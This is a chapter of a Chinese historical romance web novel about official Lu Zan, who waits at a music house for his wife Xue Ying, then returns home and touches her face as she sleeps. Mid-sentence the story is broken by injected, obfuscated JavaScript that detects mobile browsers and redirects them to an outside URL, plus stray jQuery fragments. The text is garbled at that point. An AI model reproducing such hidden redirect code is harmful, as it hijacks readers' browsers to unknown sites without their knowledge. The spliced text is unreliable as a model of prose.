京城最兼顾奢靡与风雅之地,当数听雪阁。
阁中帷幔低垂,琴箫错落,座中乐师皆姿仪清秀、举止端方,一看便知经营的是正经生意。
只是这正经生意中,也将服侍客人的分寸拿捏得微妙,旎而不俗,近而不亵,反倒勾得男客们欲罢不能,常常流连。
顶楼最深处的包间里,几个文官气度的中年男人斯文笑谈,席间有一位年轻夺目的儒生,姿容绰绝,鹤立鸡群,正是詹事府少詹事陆瓒。
“能请动惟成过来听曲,倒是稀罕事。”明显年长的官员堆着笑,朝最年轻的陆瓒欠身相敬。
陆瓒正襟危坐,神色平静,面对对面的恭维并不自傲,以晚辈礼谦和待之,淡笑道:“刘大人相邀,惟成岂敢不来?”
在座的都知这只是一句客套,这位陆詹事性情疏离,莫说区区一个平级的刘大人,便是从前副督御史姚大人相邀,十回里也有十回推脱,今日忽然赏脸,必定另有缘由,只是众人一时都猜不透他的心思。
近来传闻,陆瓒府上请过红袖楼的女子,这种私事没人敢当着陆瓒的面求证,但从他今晚莫名应邀听雪阁来看,或许竟是真的了?想不到,素有清名的陆大人也并非不染凡尘,又或者,与那位长宁侯府出身的妻子婚后不谐?
陆瓒面上滴水不露,谈笑风生间游刃有余,唯有眼底深埋着不易窥破的阴霾。
这家乐坊名头颇盛,陆瓒只来过两次,说起来,两次都同薛缨有些关系。
头回来时的情形还历历在目,彼时尚未与薛缨有过纠葛,陆瓒为着套问礼部侍郎勾连天众教的消息,破例随同几个礼部堂官到此一游,亦是在这同一包间。
那回陆瓒坐在正对门的位置,席间觥筹交错、酒过三巡,正是气氛浓时,突然之间,紧闭的房门被人生生撞开,一个雌雄莫辨的美人叉腰站在门外,将里面几个男人挨个扫量一遍,胆大妄为至极。
女扮男装帮好友乐坊捉夫,陆瓒平生未见过如此行事出格的女子。
不巧,卫芳洲之夫谭决明就在陆瓒麾下当差,是以弄清原委之后,陆瓒只得出面摆平此事。也就是在那次,陆瓒捡到薛缨落下的一条素绢手帕,本想着找机会托人送还,后来一直耽搁。再后来,他成了她的夫婿,那条手帕至今还放在陆府书房未动。
自从那本《春鸾集》惹了事,陆瓒一连在书房歇了六日,今日下衙时分,听闻刘肃邀他来听雪阁一聚的时候,忽然就想起了那段令人哭笑不得的往事,女扮男装的少女脸庞在眼前晃了晃,陆瓒便应了下来。
一个肯为朋友出头捉夫的姑娘,听闻自己的丈夫就在同样的地方,会如何呢?
满是经纶的脑子里隐隐闪过念头,陆瓒打发宁非回府,告诉大奶奶一声今晚他的去向。
此刻包间内丝竹正盛,众人谈笑甚欢,陆瓒不着痕迹地朝门口瞥去。
门外帘影静垂,廊道空空,半点脚步声也无。
没有人。
正当陆瓒在听雪阁因空茫的等待而生出燥意时,身在陆府的薛缨的确收到了宁非的消息。
她不急不忙听芍药念完话本,浅浅伸了个懒腰,叫人下去领赏,半点没把乐坊的事放在心上。
点翠在旁拉着脸,拿鼻孔用力哼气,活像个小气□□:“姑娘怎的这般心大?姑爷先是一连六日不回房睡,今儿个又去了乐坊,再这样下去,还了得吗?”
“那又如何?”薛缨莫名其妙,“其一,他睡书房是因我故意反锁房门,霸占了此地。其二,腿长在他身上,他去哪里与我无关。”
点翠一口老血闷在胸口,那听雪阁是什么正经地方么?换做任何一个女子,得知丈夫光顾那种地方,都不会不在意的吧?
当初姑娘为着卫娘子勇闯听雪阁,还是靠点翠守口如瓶才瞒过了长宁侯,怎的事情发生在自己身上,姑娘反倒不在意了?
“我知道你的小脑瓜在想什么。”薛缨站在金丝楠小架旁整理话本,将读过和未读过的分类放好。阴影里,眸光微黯。
一年半的和离限期说长不长,说短也着实不短。薛缨一直不确定在段时间里,陆瓒能否守约如初,不逼她圆房。
那日陆瓒赶走了红袖楼的姑娘,又闯进卧房强吻了她,虽未再踏入卧房半步,薛缨还是心有余悸,一颗心悬在半空不敢放下。得知他肯去乐坊,她其实颇松了口气。
“我和他,一年零两个月后便要和离,他的去处,我无权也无意过问。”
想要的越多,快活就越少。能相安无事、两不相扰,已是最好。
已过亥时,听雪阁内依旧灯火通明,恍如白昼。
等到换过四轮曲子,等到原本应当出现的动静始终没有出现,陆瓒心底那一线说不清道不明的期待,终于悄然落空。
随之而来的,是一股难以言喻的烦躁。
对座的刘肃一直顾及着陆瓒的脸色,瞧他神情寡淡、兴致缺缺,忙试探着笑道:“陆大人高雅之人,这曲子软腻,恐不合陆大人胃口。”
说罢,朝外吩咐了几句。
不多时,帘外走进一名女子,容色清丽,衣饰素雅,怀抱琵琶,举止得体,正是听雪阁最出挑的那一类。她福身行礼,眉眼含笑,目光明晃晃黏在陆瓒身上,为谁而来不言而喻。
女子且弹且舞,几个旋身的功夫便挨在陆瓒身边坐下,并无逾矩动作,却是媚眼如丝,欲迎还拒。
陆瓒嗅到一缕浓重的脂粉香气,胸口顿时生出一股难以压下的排斥和厌恶,不自觉别开视线。
就在那一刻,脑海中却忽然浮现出另一道身影。
她端坐矮几旁低头翻书的模样,她歪在卧榻上慵懒展腰的姿态,还有那夜在灯影下,被他强行吻噬的惊惶……
他忽然想起她身上的甜香——非说用的是陆府熏香,却氤氲到难以忽视的那丝甜香,与现下身旁精心调配过的脂粉浓香全然不同。
陆瓒只想立刻回到那抹熟悉的浅淡甜香里去。
这念头像一柄冷刃,干脆利落地剖开了所有犹疑。
陆瓒起身,拱袖温笑:“诸位慢饮,陆某忽然想起府里还有事,先告辞了,改日赔罪。”
席间众人皆是一愣,刘肃忙道:“陆大人,这才几时,怎么就——”
有人笑着打趣:“陆大人这般着急回去,莫不是思念夫人了?”
这原不过一句玩笑,一笑置之便罢了,不料陆瓒回望过来,淡笑道:“正是。”
两个字砸得厅中一阵静默,众人面面相觑,有的甚至抠了抠耳朵,怀疑被什么东西堵坏了听觉。
陆瓒回府时已近子时,卧房里一片昏黑,并未反锁。
他已有五六日不曾踏入卧房,窗外月色淡淡,隔着窗纸只透进一抹朦胧的亮,床帐静垂,薄烟般笼着安睡的少女。
陆瓒停在拔步床前,良久,抬起修长手指,缓缓掀开了纱帐。
帐中的少女侧身睡着,呼吸均匀,眉目隐在暗影里,勾勒出柔和清媚的模糊曲线,顺着流畅的下颌线条,一路汇入松散单薄的领口。
陆瓒屏住呼吸,提起蔽膝在床边坐了下来,衣袍在床沿垂落,厚重的外衫衣料与卧房的柔软极不和谐。
紧绷的指节缓缓抬起,指腹悬在她美瓷般白皙滑腻的脸颊,迟疑了一下,轻轻落了下去。
触感温热细腻,蛊惑般引着指腹向下,直往温热脆弱的纤颈处引诱。
察觉到自己在做什么时,陆瓒猛地蜷起手指,像是被自己的举动惊到。
自幼所受的教导告诉他,喜怒哀乐皆不该外露
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563187|204606||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,他曾以为自己做得很好,直到成婚后,才发现情绪这种奇物难以控制。
他明知自己这些日子刻意回避,便是要将一切逼回原有的轨道,可当指腹贴上她的肌肤时,那些刻意维持的冷静与自持,顷刻溃散。
他厌烦这样的自己。
夜色深凉,薛缨骤然惊醒。
“……谁!”
黑暗中,她只看见床前坐着一道修长人影,心脏一瞬间几乎要撞出喉咙,紧接着,意识飞快地清醒过来。
那道身影高挑挺拔,脊背笔直,长发一丝不苟束在发顶,自然是陆瓒。
“大公子?”薛缨迟疑着撑起身,嗓音带出一丝不确定的惊惧,下意识拢紧被衾,“什么时辰了,你在这里做什么?”
仿若凝固般的沉默。
她名义上的丈夫哑声开口:“……我来看看你睡得好不好。”
低沉的嗓音在夜色里如同琴弦般动听,属于男性的低磁,撩人地拂过心尖。
薛缨的心跳尚未平复,在胸腔里咚咚咚跳个不停,“你不是去了乐坊吗?”
怎么没在那里过夜?
男人再次陷入沉默。
就在薛缨以为陆瓒不会回答的时候,清辉中朦胧皎洁的人影开口:“原来在夫人眼里,我是那种人吗?”
那道嗓音低得仿佛要散在清冷的清辉里,薛缨只觉自己的心脏被一股力量攫住,想再找补一句什么,人却已然起身。
他替她放下床帐,转身离开了卧房,轻轻带上了房门。
薛缨凝神听着窗外脚步声离开的方向,知道他又回了书房去。
她以为他会在乐坊过夜的。
书房内漆黑一片,陆瓒坐在书案后一片凉薄的月光里,拉开了左手边的抽屉。
一方素帕叠得整整齐齐躺在里面,躺在本不属于它的地方。
捡回来后,陆瓒第一次将这条帕子取了出来,放在温热掌心。指腹捻过绢料,料子软得像是女子滑腻的肌肤,像极了方才抚过的妻子的脸颊。
薛缨并不知睡梦中陆瓒曾经抚过她的脸颊,黑暗中,她睁眼盯着帐顶那一片模糊的影子,脑海里反复回现陆瓒坐在床边的身影,于她而言本该是惊悚的,回想时却莫名多了一丝缱绻暧昧的味道。
她说不清哪里不对,只觉得这些日子以来,陆瓒似乎总在刻意回避什么。
那感觉令人不安。
天将将亮时,薛缨才勉强阖了眼,待到日上三竿起身,眼底果然泛了青黑。
顶着两团青黑,薛缨去谭府见了卫芳洲。
卫芳洲挑眉打量了她片刻,笑得意味深长:“你这是……没睡好?”
薛缨听出她是误会了,无力长叹,将这几日陆瓒的古怪简略说了。从罚她学诗,结果拿出那种不正经的诗集,到她主动将红袖楼的姑娘送到面前,他却莫名大怒,再到昨晚他去过听雪阁后,突然出现在她床边。
桩桩件件,宛如夺舍。
卫芳洲越听越心惊。
“真不懂他在想什么。”薛缨下巴支在桌子上,把自己缩成一只煮熟的虾米,“若说他不想碰女人,拿那种诗集出来是什么意思?若说他想碰女人,红袖楼送到眼前发那么大火干嘛?”
“我知道了!”卫芳洲一拍手,神情笃定。
薛缨赶紧凑过来,洗耳恭听。
“他是自卑!”
薛缨当场白眼一翻。全天下的男人自卑,陆瓒都不可能自卑,他可是陆瓒啊!
“这你就不懂了。”卫芳洲一副过来人的样子,“你想啊,想接近你,又不敢接近你,举止古怪,恼羞成怒,十有八九是因为——”
“因为什么?”
卫芳洲把薛缨的耳朵拉近,神婆低语:“因为他不行啊!”